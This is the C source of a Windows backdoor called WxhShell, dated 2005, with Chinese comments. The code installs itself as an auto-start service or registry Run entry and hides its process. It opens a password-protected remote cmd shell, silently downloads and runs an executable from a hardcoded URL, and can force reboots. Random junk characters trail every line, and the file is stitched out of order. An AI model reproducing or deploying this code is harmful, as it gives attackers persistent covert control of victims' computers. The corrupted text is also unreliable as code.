    if(Boot(SHUTDOWN)) $6XSW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "w9`UFu%^e  
    else { 3qiE#+dC  
    closesocket(wsh); T.d+@ZV<#  
    ExitThread(0); +Qt=N6>  
    } />Tyiy]2uu  
    break; i]Lt8DiRq  
    } `/f9 mn  
  // 获取shell C 6Bh[:V&  
  case 's': { j*x8K,fN  
    CmdShell(wsh); b9)%,3-  
    closesocket(wsh); UAnq|NJO  
    ExitThread(0); jiYYDGs77  
    break; %h g=@7,|  
  } Fo3[KW)8I  
  // 退出 `^9 Zbwq  
  case 'x': { <_uLf9j a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dI5Z*"`R9  
    CloseIt(wsh); lu`\6  
    break; mG7Wu{~=U  
    } 1}tZ,w>  
  // 离开 y AU[A  
  case 'q': { |rH;}t|un  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :t?9$ dL  
    closesocket(wsh); -. L)-%wIV  
    WSACleanup(); N $M#3Y;  
    exit(1); S6h=} V )  
    break; e-,U@_B  
        } xM9EO(u  
  } F}DdErd!f  
  } sVZb[|zSri  
"V&2 g?  
  // 提示信息 ! o:m*:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VE& ?Zd~  
} >{~W"  
  } =<_xUh.  
Ra'0 ^4t  
  return; K0@2>nR  
} G`ZpFg0Y  
ve.iyr  
// shell模块句柄 8U/q3@EC  
int CmdShell(SOCKET sock) ^*`{W4e]  
{ bEV 9l  
STARTUPINFO si; s!~M,zsQN  
ZeroMemory(&si,sizeof(si)); CCDoiTu!4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pL]C]HGv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C.C)&&|X  
PROCESS_INFORMATION ProcessInfo; H4 Ca+;  
char cmdline[]="cmd"; >^Klq`"?g=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a^ <  
  return 0; ({yuwH?tH  
} Cmm"K[>Rx  
LU_@8i:  
// 自身启动模式 ilw<Q-o4(  
int StartFromService(void) KM g`O3_16  
{ ^b~&}uU  
typedef struct Kf76./  
{ LZMdW #,[  
  DWORD ExitStatus; 3%/]y=rA  
  DWORD PebBaseAddress; .6 !IO^`[  
  DWORD AffinityMask; &0K; Vr~D  
  DWORD BasePriority; <&n3"  
  ULONG UniqueProcessId; U u(ysN4`  
  ULONG InheritedFromUniqueProcessId; 9U>ID{  
}   PROCESS_BASIC_INFORMATION; LG [ 2u  
;9q3FuR  
PROCNTQSIP NtQueryInformationProcess; YPDc /  
?1xBhKq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3P6pQm'.f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F 71  
+uM1#-+h  
  HANDLE             hProcess; ge`)sB,  
  PROCESS_BASIC_INFORMATION pbi; 9bPQD{Qb  
Fm3-Sn|Po  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3I^KJ/)A  
  if(NULL == hInst ) return 0; brb8C%j}9  
jZ7/p^c5R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V`TXn[7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /R8>f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XLwbA4ORq  
4\pi<#X  
  if (!NtQueryInformationProcess) return 0; gd_w;{WP  
NZ e3 m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xB68RQe)  
  if(!hProcess) return 0; >a%NC'~rc  
N:)`+}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]}<.Y[!S  
!w[<?+%%n  
  CloseHandle(hProcess); `=^29LC#  
QBR9BR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oB-&ma[ZS  
if(hProcess==NULL) return 0; Q`7!~qV0=  
K)]7e?:Wu  
HMODULE hMod; S6 $S%$  
char procName[255]; y+(<Is0w  
unsigned long cbNeeded; T$06DS  
H:`W\CP7_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W([)b[-*  
0'Tq W9P  
  CloseHandle(hProcess); +%>s\W+?]  
PkLRQ}  
if(strstr(procName,"services")) return 1; // 以服务启动  &{7n  
::dLOf8o  
  return 0; // 注册表启动 `-D6:- ,w  
} ?#qA>:2,  
V3$!`T}g4  
// 主模块 G`R Ed-Z[  
int StartWxhshell(LPSTR lpCmdLine) W:3u$LTf*f  
{ b5_A*-s$M  
  SOCKET wsl; 4adCMfP7.  
BOOL val=TRUE; *wwLhweQ5W  
  int port=0; 9HLn_|yU  
  struct sockaddr_in door; ci+Pg9sS  
Q0gO1 T  
  if(wscfg.ws_autoins) Install(); [p$b@og/>  
,vrdtL  
port=atoi(lpCmdLine); `Vw9j,G  
"@gJ[BL#  
if(port<=0) port=wscfg.ws_port; dg4"4\c*P  
EQyRP. dq  
  WSADATA data; u%V =Ze  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -]Z!_[MlDF  
KA`1IW;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dY~3 YD[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UX41/# 4  
  door.sin_family = AF_INET; .Y&_k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7WiVor$g-  
  door.sin_port = htons(port); 6](vnS;  
RoxzCFsI\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3hmuF6y~  
closesocket(wsl); q+~z# jFX  
return 1; +LQ2To  
} #"O9\X/B  
O!d^v9hM,  
  if(listen(wsl,2) == INVALID_SOCKET) { x-nwo:OA  
closesocket(wsl); 9'3bzhT$  
return 1; && ecq   
} |}es+<P  
  Wxhshell(wsl); -v&Q 'a  
  WSACleanup(); MCurKT<pQ  
1ScfX\ F=  
return 0; BNyDEFd  
nv{ou [vQ  
} N,(@k[uta  
m,K\e  
// 以NT服务方式启动 RL~\/#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #Jy+:|jJ  
{ /_*:  
DWORD   status = 0; q .tVNKy%  
  DWORD   specificError = 0xfffffff; w6Dysg:  
[^"e~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L0UAS'hf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -njxc{b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vO]gj/SaT  
  serviceStatus.dwWin32ExitCode     = 0; R{#-IH="  
  serviceStatus.dwServiceSpecificExitCode = 0; UldKlQ8  
  serviceStatus.dwCheckPoint       = 0; ~NpnRIt  
  serviceStatus.dwWaitHint       = 0; n j; KnZ  
n >xhT r<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V3yO_Iqa  
  if (hServiceStatusHandle==0) return; D@[$?^H  
x)BG%{h  
status = GetLastError(); IB}.J,=  
  if (status!=NO_ERROR) iFF/[P  
{ 1Lqs>*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6:v8J1G(<  
    serviceStatus.dwCheckPoint       = 0; i/C#fIB2  
    serviceStatus.dwWaitHint       = 0; O~">-'f  
    serviceStatus.dwWin32ExitCode     = status; klT6?'S  
    serviceStatus.dwServiceSpecificExitCode = specificError; PgB=<#9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5G(y  
    return; MG8-1M  
  } ^[&*B#(  
6du"^g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s_zZ@azJ  
  serviceStatus.dwCheckPoint       = 0; }=?r`J+Ev;  
  serviceStatus.dwWaitHint       = 0; AW+4Vm_!l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cla Yy58v  
} 7; T S  
]K XknEaxl  
// 处理NT服务事件,比如:启动、停止 EIEwrC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DQ9 <N~l  
{ ~>>o'H6  
switch(fdwControl) m1\>v?=K  
{ - CM;sXq  
case SERVICE_CONTROL_STOP: tDy1Gh/c  
  serviceStatus.dwWin32ExitCode = 0; x~Se-#$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6XFO@c}d  
  serviceStatus.dwCheckPoint   = 0; MMhd-B1O&  
  serviceStatus.dwWaitHint     = 0; BAX])~_  
  { bTO$B2eh|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d`({z]W;  
  } *'d5~dz=  
  return; IdzF<>;W  
case SERVICE_CONTROL_PAUSE: %m+Z rH(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +=\S"e[F  
  break; SkvKzV.R;  
case SERVICE_CONTROL_CONTINUE: Cgq9~U !  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o|^0DYb  
  break; YV! !bI  
case SERVICE_CONTROL_INTERROGATE: y"t5%Iv  
  break; J)'6 z  
}; :JW~$4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O~'1)k>  
} HFo}r~  
[USXNe/  
// 标准应用程序主函数 S:Yo9~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BOt\"N  
{ /V7u0y  
{7(h%]  
// 获取操作系统版本 H{yPi7 P  
OsIsNt=GetOsVer(); hzKfYJcQ|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b <=K@I.=  
n[ba  
  // 从命令行安装 v^,A~oe`t  
  if(strpbrk(lpCmdLine,"iI")) Install(); _NA]= #J  
Ta9;;B?$  
  // 下载执行文件 *D4H;P#  
if(wscfg.ws_downexe) { I62Yg p$K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P-+^YN,  
  WinExec(wscfg.ws_filenam,SW_HIDE); fK4laDB TO  
} 8 eh C^Cg  
Xk7zXah  
if(!OsIsNt) { zoUW}O  
// 如果时win9x,隐藏进程并且设置为注册表启动 )h+JX8K)l  
HideProc(); zYls>fbp,  
StartWxhshell(lpCmdLine); +|#:*GZ  
} qIb(uF@l"  
else laFkOQI  
  if(StartFromService()) ?#FA a,  
  // 以服务方式启动 ^e&,<+qY  
  StartServiceCtrlDispatcher(DispatchTable); s-8>AW ep  
else >vP^l {SD  
  // 普通方式启动 ry7(V:ic  
  StartWxhshell(lpCmdLine); <<UlFE9"  
'JkK0a2D  
return 0; . `hlw'20  
} c-M&cU+=L  
U(J?Q  
y{v*iH<  
=#y&xWxL  
=========================================== ]}'WNy6c&x  
EEkO[J[=  
PN\2 ^@>_  
j$8 ~M  
NugJjd56x  
4pc=MR  
" *YtITyDS3>  
0 _&oMPY  
#include <stdio.h> `bH Eu"(,  
#include <string.h> uQ8]j.0  
#include <windows.h> kkzXv`+  
#include <winsock2.h> JVXBm]  
#include <winsvc.h> jkD5Z`D  
#include <urlmon.h> g|nPr)<  
$1?YVA7  
#pragma comment (lib, "Ws2_32.lib") 7 51\K`L  
#pragma comment (lib, "urlmon.lib") 2V~Yb1P  
xX|-5cM;  
#define MAX_USER   100 // 最大客户端连接数 Jwa2Y0  
#define BUF_SOCK   200 // sock buffer g$]9xn#_[  
#define KEY_BUFF   255 // 输入 buffer VF[]E0=u6  
!PQ@"L)p  
#define REBOOT     0   // 重启 nY~CAo/:  
#define SHUTDOWN   1   // 关机 <Ft.{aNq$c  
'etCIl3  
#define DEF_PORT   5000 // 监听端口 TcGxm7T  
Zu+Z7@$}/  
#define REG_LEN     16   // 注册表键长度 z6Mf>q  
#define SVC_LEN     80   // NT服务名长度 +VU,U`W  
+,PBhB  
// 从dll定义API "` 9W"A=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xvrCm`3n@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  ;xry  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;OVJM qg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bfrBHW#  
D.\p7 NJ  
// wxhshell配置信息 V qYe0-^=P  
struct WSCFG { cdEZ Y  
  int ws_port;         // 监听端口 q@^=im  
  char ws_passstr[REG_LEN]; // 口令 T?% F  
  int ws_autoins;       // 安装标记, 1=yes 0=no _{ ?1+  
  char ws_regname[REG_LEN]; // 注册表键名 cFuvi^n\  
  char ws_svcname[REG_LEN]; // 服务名 /yH:ur  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4!E6|N%f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .|o7YTcR:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3S <5s}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `FmI?:Cv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6BMRl%3>Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P/ug'  
A\ LTAp(I  
}; |'a5n h!  
-M(:z  
// default Wxhshell configuration &d6'$h:kHb  
struct WSCFG wscfg={DEF_PORT, J6f;dF^  
    "xuhuanlingzhe", }l_) d  
    1, i [FBll-  
    "Wxhshell", *8MU,6  
    "Wxhshell", b$M? _<G  
            "WxhShell Service", ]Oe#S"-Oo  
    "Wrsky Windows CmdShell Service", 4} =]QQoE  
    "Please Input Your Password: ", thUs%F.5?  
  1, RL>[t  
  "http://www.wrsky.com/wxhshell.exe", Uu3[Cf=C  
  "Wxhshell.exe" -i 6<kF-W  
    }; B8C"i%8V)  
ZpWG  
// 消息定义模块 X,gXgxP\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j@ =n|cq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ! .!qJ%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C96|T>bk  
char *msg_ws_ext="\n\rExit."; <.=   
char *msg_ws_end="\n\rQuit."; Zcdt\;HKr  
char *msg_ws_boot="\n\rReboot..."; w3B*%x)  
char *msg_ws_poff="\n\rShutdown..."; f? ko%c_p  
char *msg_ws_down="\n\rSave to ";  \ 1|T  
0y6nMI  
char *msg_ws_err="\n\rErr!"; Hk.+1^?%  
char *msg_ws_ok="\n\rOK!"; $~U_VQIA^  
J 9>uLz  
char ExeFile[MAX_PATH]; }Z%*gfp  
int nUser = 0; \O\onvEa  
HANDLE handles[MAX_USER]; (bZ)pW/iw  
int OsIsNt; GyT{p#l  
L5PN]<~T  
SERVICE_STATUS       serviceStatus; P 7gS M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b vUYLWzS  
h-#Glse<  
// 函数声明 q/&Z6LJ)  
int Install(void); +#n[55d  
int Uninstall(void); \Mt(9jNK  
int DownloadFile(char *sURL, SOCKET wsh); i7Y 96]  
int Boot(int flag); Mi S$Y  
void HideProc(void); C8aYg  
int GetOsVer(void); 4qiG>^h9  
int Wxhshell(SOCKET wsl); ]<{BDXIGIE  
void TalkWithClient(void *cs); a0y;c@pkO  
int CmdShell(SOCKET sock); 5\qoZs*e  
int StartFromService(void); 1C'lT,twl  
int StartWxhshell(LPSTR lpCmdLine); hPhN7E03  
lSQANC'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ']4sx_)S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +vJ[k2d  
%6*xnB?  
// 数据结构和表定义 1<ZvHv  
SERVICE_TABLE_ENTRY DispatchTable[] = }vp\lK P  
{ <7u*OYjA  
{wscfg.ws_svcname, NTServiceMain}, _ @ \  
{NULL, NULL} !^B`7  
}; .4.zy]I  
6 {5*9!v63  
// 自我安装 Rs5G5W@"A  
int Install(void) nj #Ab  
{ &!m;s_gi  
  char svExeFile[MAX_PATH]; 2h u;N  
  HKEY key; :DQHb"(  
  strcpy(svExeFile,ExeFile); 6g( 2O[n.  
;^t<LhN:  
// 如果是win9x系统,修改注册表设为自启动 QH#|R92:  
if(!OsIsNt) { @P[Tu; 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qnru atA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X[BKF8,  
  RegCloseKey(key); &LHQ) ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [V}I34UN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mg-Kh}U  
  RegCloseKey(key); ^tae (}  
  return 0; h6la+l?x  
    }  cfpP?  
  } jjEkz 5  
} ;o"}7'4*R%  
else { O_(/uLH  
[ @&  
// 如果是NT以上系统,安装为系统服务 p@>_1A}qh_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R\1#)3e0  
if (schSCManager!=0) #ZF|5 r +  
{ Dj #G{X".  
  SC_HANDLE schService = CreateService :+m|KC(Z  
  ( 7BdvJ"  
  schSCManager, Cc/?-0a2!  
  wscfg.ws_svcname, o= N=W  
  wscfg.ws_svcdisp, ~kw[Aw3?D\  
  SERVICE_ALL_ACCESS, -=O9D- x=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `'.u$IBW  
  SERVICE_AUTO_START, )!){4c/  
  SERVICE_ERROR_NORMAL, sf7'8+wj>  
  svExeFile, !,INrl[  
  NULL, ~h  tV*R  
  NULL, |"vqM)V$  
  NULL, Y0aO/6  
  NULL, e{c%o;m(  
  NULL h#'(UZ  
  ); 1}B W   
  if (schService!=0) mgh,)=2cE(  
  { B k#68p  
  CloseServiceHandle(schService); }(O 7tC  
  CloseServiceHandle(schSCManager); l[L\|hv'n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;40!2P8t  
  strcat(svExeFile,wscfg.ws_svcname); bgL`FW i3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u m(A3uQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FC/m,D50oI  
  RegCloseKey(key); rh?!f(_@  
  return 0; |j<b?  
    } uZ\ >  
  } lMFj"x\  
  CloseServiceHandle(schSCManager); ??ah  
} #V*<G#B  
} M($dh9A_  
j+w*Absh  
return 1; uXNJ{]o  
}  lrU}_`  
tWdj"n%  
// 自我卸载 Vv0dBFe  
int Uninstall(void) _(TavL>l =  
{ 2< w/GX.  
  HKEY key; T/dchWG  
f[!N]*  
if(!OsIsNt) { & tkkn2t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U}_l]gNn  
  RegDeleteValue(key,wscfg.ws_regname); +#A >[,U  
  RegCloseKey(key); j'#W)dp(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9)3ok#pQ/  
  RegDeleteValue(key,wscfg.ws_regname); ;WO/xA-#  
  RegCloseKey(key); )CYSU(YTD  
  return 0; W9t%:wF  
  } Dwe_ytjpc  
} Ng0V&oDI  
} o[!]xmj  
else { +_3> T''_  
ePP-&V"`"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Xu3o,k  
if (schSCManager!=0) E<>n0",  
{ ?SkYFa`u*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <RKh%4#~  
  if (schService!=0) =YE"6iU  
  { 1 nIb/nY  
  if(DeleteService(schService)!=0) { BO5F6lyQ0P  
  CloseServiceHandle(schService); =YR/X@&  
  CloseServiceHandle(schSCManager); $ThkK3  
  return 0; 7-nwfp&|$  
  } `LEk/b1(P  
  CloseServiceHandle(schService); My&h{Qk  
  } i:ZpAo+Z{  
  CloseServiceHandle(schSCManager); tE/j3  
} {UT^p IP\  
} :%{MMhb x  
O\q|b#q}/  
return 1; p>96>7w  
} TGY^,H>J  
]Z&2  
// 从指定url下载文件 TWK(vEDM  
int DownloadFile(char *sURL, SOCKET wsh) ZUVk~X3  
{ L*6Tz'Qp  
  HRESULT hr; bP`yLz  
char seps[]= "/"; .fk!~8b[Q+  
char *token; Ha)eeE$  
char *file; bu1O<*  
char myURL[MAX_PATH]; MR:Co4(  
char myFILE[MAX_PATH]; {()8 W r  
lGwX.cA!'  
strcpy(myURL,sURL); w[qWr@  
  token=strtok(myURL,seps); hvnZ 2x.?d  
  while(token!=NULL) RM|<(kq  
  { >t.2!Z_RQ  
    file=token; 5lu620o  
  token=strtok(NULL,seps); ygW,4Vz7J  
  } Mmq{]q~At  
Ie`kzssM  
GetCurrentDirectory(MAX_PATH,myFILE); H^Ik FEVs  
strcat(myFILE, "\\"); =mxmJFA  
strcat(myFILE, file); vq B)PL5)  
  send(wsh,myFILE,strlen(myFILE),0); L0/0<d(K  
send(wsh,"...",3,0); s_y Y,Z:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }Gqx2 )H  
  if(hr==S_OK) }b ~;x6  
return 0; \/p\QT@mm  
else Ji\8(7 {8  
return 1; \h~;n)FI  
Ratg!l|'-  
} 8j. 9Sk/  
hub1rY|No  
// 系统电源模块 Mf^ ;('~  
int Boot(int flag) wLAGe'GX  
{ Nc()$Nl8  
  HANDLE hToken; 3ybEQp9  
  TOKEN_PRIVILEGES tkp; RAxAy{  
CTv-$7#  
  if(OsIsNt) { B8NOPbT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j)?I]j/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U-6b><  
    tkp.PrivilegeCount = 1; eNY$N_P   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7rw}q~CE5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7Co }4  
if(flag==REBOOT) { { aqce g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ( ?3 )l   
  return 0; [~,~ e   
} y&")7y/uE  
else { J 6U3}SO=y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rLGh>bw#`3  
  return 0; r4D*$H-rR  
} |_{-hNiz0  
  } y,v*jE  
  else { Lj6$?(x}  
if(flag==REBOOT) { ~rN~Ql%S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GxL5yeN@(  
  return 0; #uVH~P5TM  
} `%EMhk  
else { BX;Z t9"*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .-T^ S"`d|  
  return 0; LSv0zAIe/  
} j y R 9a!  
} I:Wrwd  
MQ9 9fD$  
return 1; T52A}vf4  
} j4$XAq~W  
Zmw'.hL  
// win9x进程隐藏模块 +FRXTku(  
void HideProc(void) ' \Z54$  
{ cd)yj&:?Bt  
%Ak"d+OH4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X!V@jo9?  
  if ( hKernel != NULL ) /xj^TyWM  
  { SsiAyQ|Ma  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z6\OkD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (dvCejc^p  
    FreeLibrary(hKernel); "l6v[yv  
  } xG@zy4  
[vV]lWOp'  
return; f mILkXKz  
} jXB<"bw  
H@GiHej  
// 获取操作系统版本 {SVd='!V  
int GetOsVer(void) `6koQZm  
{ D6@c&  
  OSVERSIONINFO winfo; rTT Uhd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hdJW#,xq  
  GetVersionEx(&winfo); /MKcS%/H/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gF+Uj( d  
  return 1; WQv%57+  
  else @U08v_,  
  return 0; 3Z;`n,g  
} p"EQ6_f  
gF,9Kv~  
// 客户端句柄模块 Xn^gxOPM  
int Wxhshell(SOCKET wsl) |fkz=*rn  
{ eS{lr4-]  
  SOCKET wsh; E8j>Toz  
  struct sockaddr_in client; {{w5F2b((%  
  DWORD myID; gBGUGjVj  
^cB83%<Z  
  while(nUser<MAX_USER) :t+XW`eQR:  
{ MgyV {`  
  int nSize=sizeof(client); ZE863M@.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T+7-6y+ d  
  if(wsh==INVALID_SOCKET) return 1; 4Ynv=G Qz  
`3m7b!0k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \tH^w@j47  
if(handles[nUser]==0) aE BQx  
  closesocket(wsh); -}Vnr\f  
else RuSKJ,T:9  
  nUser++; ' ^L|}e  
  } .6z8fjttOC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~{lSc/SP|  
feSd%  
  return 0; KvW {M  
} X<{kf-GP  
-,+zA.{+W  
// 关闭 socket |tF:]jnIt  
void CloseIt(SOCKET wsh) 3.>M=K~09  
{ ?o307 r  
closesocket(wsh); _{0'3tI7  
nUser--; 5jAiqJq~y:  
ExitThread(0); [S;ceORx  
} w ;+x g  
1'ts>6b  
// 客户端请求句柄 I(!i"b9  
void TalkWithClient(void *cs) n?'I&0>M  
{ 1 ~ fD:  
y}Ji( q~  
  SOCKET wsh=(SOCKET)cs; 1h_TG.YL9>  
  char pwd[SVC_LEN]; MHNuA,cz  
  char cmd[KEY_BUFF]; hq[;QF:B  
char chr[1]; }n/6.%  
int i,j; W u?A} fH  
!c+,OU[  
  while (nUser < MAX_USER) { EY'kIVk  
lr[U6CJY  
if(wscfg.ws_passstr) { 2H+!78  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _M[@a6?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p,#t[K  
  //ZeroMemory(pwd,KEY_BUFF); ypyqf55gK  
      i=0; N 0<([B;  
  while(i<SVC_LEN) { &5k$ v^W5  
+ZOjbI)  
  // 设置超时 tbMf_-g  
  fd_set FdRead; U4`6S43ki  
  struct timeval TimeOut; ;nS.t_UW.  
  FD_ZERO(&FdRead); gp@X(d  
  FD_SET(wsh,&FdRead); tgk] sQY  
  TimeOut.tv_sec=8; aTXmF1_n  
  TimeOut.tv_usec=0; nX 4WlH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); REqQJ7a/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~^Ceru"<  
mmSC0F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oN3DM;  
  pwd=chr[0]; "&!7wH ,A  
  if(chr[0]==0xd || chr[0]==0xa) { }XHB7,  
  pwd=0; !j8.JP}!)  
  break; V ,# |\  
  } ]/31@RT  
  i++; vZhC_G+tGd  
    } Bgw=((p  
?w/i;pp<,  
  // 如果是非法用户,关闭 socket V\Q=EsHj   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CYkU-  
} B8J_^kd  
7T7 A\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `X;'*E]e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,v<GSiO  
7nsn8WN[  
while(1) { 8rZJvE#c  
y^OT0mZkg  
  ZeroMemory(cmd,KEY_BUFF); QlxzWd3=q  
| R\PQ/)  
      // 自动支持客户端 telnet标准   47<fg&T  
  j=0; R -#40  
  while(j<KEY_BUFF) { GhlbYa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Ncx':]5  
  cmd[j]=chr[0]; |j2b=0Rpk  
  if(chr[0]==0xa || chr[0]==0xd) { UQ[!k 6  
  cmd[j]=0; hD)'bd  
  break; irZMgRQAT  
  } p"l GR&b  
  j++; ,#/%Fn%T  
    } ERka l7+  
LpV2XL$p>#  
  // 下载文件  kD}w5 U  
  if(strstr(cmd,"http://")) { ZwzN=03T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yzH(\ x  
  if(DownloadFile(cmd,wsh)) EU5^"\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4fR}+[~2  
  else %?sPKOh3N}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P0 4Q_A  
  } s:O8dL /  
  else { 4DwQ7KX  
!4Oj^yy%  
